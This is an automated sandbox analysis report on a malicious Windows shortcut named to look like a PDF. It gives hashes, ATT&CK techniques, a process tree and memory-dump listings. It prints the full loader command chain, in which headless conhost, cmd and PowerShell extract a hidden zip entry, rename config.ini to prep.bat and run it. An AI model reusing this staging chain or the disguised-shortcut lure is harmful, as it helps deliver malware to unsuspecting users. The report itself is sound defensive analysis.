fbbbeacc763c9bef68226fa7cc2b9e4cc84e321b3695abf3167946888d16f31f

Analysis

max time kernel
300s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/10/2026, 02:39

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General

Target
RE-11685213011475512067.pdf.lnk
Size 3KB
Sample261025-c5qa4adw8s
SHA256 fbbbeacc763c9bef68226fa7cc2b9e4cc84e321b3695abf3167946888d16f31f
MD5 b9205c144529523df57c453ce82d3ea2
SHA1 4c19203f02415d8a9565d20623131dbfe3037913
SHA512 0eca262391634ce9f82366b14551a2359d7a940f3f2efcf0bec4bde6b81ed95e743068b0de496ee0511c5a4ce56add66605d63268b2ef8b2c284cd8cf2be023b
TLSH
T139618A5136E94324E2F36F37987AEA046535B845DD67CF6E0186C1CD2896A00D83AF7A
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1528	cmd.exe
5720	cmd.exe
1884	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2376	powershell.exe
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 1528	1884	cmd.exe	90
PID 1528 wrote to memory of 5472	1528	cmd.exe	91
PID 5472 wrote to memory of 5720	5472	conhost.exe	92
PID 5720 wrote to memory of 2376	5720	cmd.exe	93
PID 1528 wrote to memory of 1760	1528	cmd.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RE-11685213011475512067.pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c conhost --headless cmd /c powershell -nop -c "Add-Type -AssemblyName System.IO.Compression.FileSystem; $z=[IO.Compression.ZipFile]::OpenRead('C:\Users\Admin\Downloads\RE-11685213011475512067DF.zip'); $e=$z.GetEntry('.'); $f=[IO.File]::Create('C:\Users\Admin\AppData\Local\Temp\saf66.zip'); $e.Open().CopyTo($f); $f.Close(); $z.Dispose()" && tar -xf "C:\Users\Admin\AppData\Local\Temp\saf66.zip" -C "C:\Users\Admin\AppData\Local\Temp" config.ini && copy "C:\Users\Admin\AppData\Local\Temp\config.ini" "C:\Users\Admin\AppData\Local\Temp\prep.bat" /y >nul && "C:\Users\Admin\AppData\Local\Temp\prep.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\conhost.exe
    conhost --headless cmd /c powershell -nop -c "Add-Type -AssemblyName System.IO.Compression.FileSystem; $z=[IO.Compression.ZipFile]::OpenRead('C:\Users\Admin\Downloads\RE-11685213011475512067DF.zip'); $e=$z.GetEntry('.'); $f=[IO.File]::Create('C:\Users\Admin\AppData\Local\Temp\saf66.zip'); $e.Open().CopyTo($f); $f.Close(); $z.Dispose()"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5472
  - - C:\Windows\system32\cmd.exe
      cmd /c powershell -nop -c "Add-Type -AssemblyName System.IO.Compression.FileSystem; $z=[IO.Compression.ZipFile]::OpenRead('C:\Users\Admin\Downloads\RE-11685213011475512067DF.zip'); $e=$z.GetEntry('.'); $f=[IO.File]::Create('C:\Users\Admin\AppData\Local\Temp\saf66.zip'); $e.Open().CopyTo($f); $f.Close(); $z.Dispose()"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nop -c "Add-Type -AssemblyName System.IO.Compression.FileSystem; $z=[IO.Compression.ZipFile]::OpenRead('C:\Users\Admin\Downloads\RE-11685213011475512067DF.zip'); $e=$z.GetEntry('.'); $f=[IO.File]::Create('C:\Users\Admin\AppData\Local\Temp\saf66.zip'); $e.Open().CopyTo($f); $f.Close(); $z.Dispose()"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2376
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\saf66.zip" -C "C:\Users\Admin\AppData\Local\Temp" config.ini
    3⤵
    PID:1760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2376-0-0x00007FFF3A22F000-0x00007FFF3A230000-memory.dmp

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memory/2376-3-0x000001DC74820000-0x000001DC74842000-memory.dmp

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memory/2376-4-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-5-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-6-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-7-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-9-0x000001DC74BD0000-0x000001DC74BE2000-memory.dmp

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memory/2376-8-0x000001DC74850000-0x000001DC7485A000-memory.dmp

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memory/2376-10-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-11-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-12-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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memory/2376-14-0x00007FFF3A0A0000-0x00007FFF3AA44000-memory.dmp

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